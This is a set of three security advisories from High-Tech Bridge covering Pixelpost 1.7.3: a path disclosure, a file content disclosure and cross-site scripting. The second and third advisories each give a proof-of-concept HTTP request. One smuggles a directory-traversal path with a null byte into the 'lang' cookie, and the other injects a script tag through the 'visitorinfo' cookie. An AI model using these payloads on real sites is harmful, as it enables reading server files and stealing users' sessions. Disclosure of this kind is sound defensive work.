Pixelpost 1.7.3 Cross Site Scripting / Disclosure

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Vulnerability ID: HTB22794  
Reference: http://www.htbridge.ch/advisory/path_disclousure_in_pixelpost.html  
Product: Pixelpost  
Vendor: Pixelpost ( http://www.pixelpost.org/ )   
Vulnerable Version: 1.7.3  
Vendor Notification: 11 January 2011   
Vulnerability Type: Path disclousure  
Status: Awaiting Vendor Response  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/includes/functions_browse.php" & "/includes/addons_lib.php" & "/includes/functions_feeds.php" scripts, it's possible to generate an error that will reveal the full path of the script.  
A remote user can determine the full path to the web root directory and other potentially sensitive information.  
  
  
http://[host]/includes/functions_browse.php  
http://[host]/includes/addons_lib.php  
http://[host]/includes/functions_feeds.php  
  
  
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Vulnerability ID: HTB22791  
Reference: http://www.htbridge.ch/advisory/file_content_disclosure_in_pixelpost.html  
Product: Pixelpost  
Vendor: Pixelpost ( http://www.pixelpost.org/ )   
Vulnerable Version: 1.7.3  
Vendor Notification: 11 January 2011   
Vulnerability Type: File Content Disclosure  
Status: Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "lang" variable from cookie when register_globals is on.  
Successful exploitation of this vulnerability allows remote attacker to obtain content of arbitrary file accessible within the context of vulnerable application.  
  
The following PoC is available:  
  
  
GET /index.php?popup=comment&language_full=english HTTP/1.1  
Cookie: lang=/../../../includes/pixelpost.php%00  
  
  
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Vulnerability ID: HTB22792  
Reference: http://www.htbridge.ch/advisory/xss_in_pixelpost.html  
Product: Pixelpost  
Vendor: Pixelpost ( http://www.pixelpost.org/ )   
Vulnerable Version: 1.7.3  
Vendor Notification: 11 January 2011   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "visitorinfo" variable.  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
The following PoC is available:  
  
  
GET /index.php?popup=comment&showimage=1 HTTP/1.1  
Cookie: visitorinfo=1'><script>alert("XSS")%3B</script>%25  
  
  
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